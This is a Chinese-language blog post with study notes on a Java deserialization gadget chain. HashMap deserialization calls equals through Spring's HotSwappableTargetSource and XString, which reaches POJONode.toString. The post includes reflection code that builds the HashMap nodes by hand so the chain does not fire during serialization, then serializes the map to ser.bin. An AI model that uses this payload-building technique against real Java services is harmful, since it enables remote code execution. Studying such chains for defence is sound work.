hashmap反序列化#equals

Posted by Azeril on November 26, 2023
   HashMap hashMap = new HashMap();
        setFieldValue(hashMap, "size", 2);
        Class nodeC;

        nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        //创建一个数组

        Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
        setFieldValue(hashMap, "table", tbl);
        serialize(hashMap);

        unserialize("ser.bin");

利用了反射的手段进行赋值,防止了序列化的时候进入equals方法执行命令。

解决一下以前的困扰

为啥不能直接hashmap#readObject—>XString#equals()方法,需要一个中间类

org.springframework.aop.target.HowSwappableTargetSource#equals

因为如果只利用XString的话,如果要满足hash相等说明key的值就相同,XString类中重写了hashcode方法,是计算str(_obj)的值,_obj是通过XString构造方法获得的,所以到这里obj2依然是XString类型

image-20231126170809794

org.springframework.aop.target.HowSwappableTargetSource也重写了hashcode方法,并且hashcode基本相当于固定的

他这里关键是获得某个类的target属性,这样就很nice

通过这里触发 XString#equals,然后触发obj2.toString,二个参数就是二个类的target

image-20231126170515867

这里就会明了了

首先触发 h2.equals(h1) —>h2.equals(h1)–>Xstring.equals(pojoNode2)–>pojoNod2.toString

HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

        // 手动构造 HashMap 以防触发正向利用链
        HashMap hashMap = new HashMap();
        setFieldValue(hashMap, "size", 2);
        Class nodeC;
        nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
        setFieldValue(hashMap, "table", tbl);

最后

是判断key的hash,相等了才触发equals方法

image-20231126171822128

31默认的hashcode计算,这个无需多言了

image-20231126172100020


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。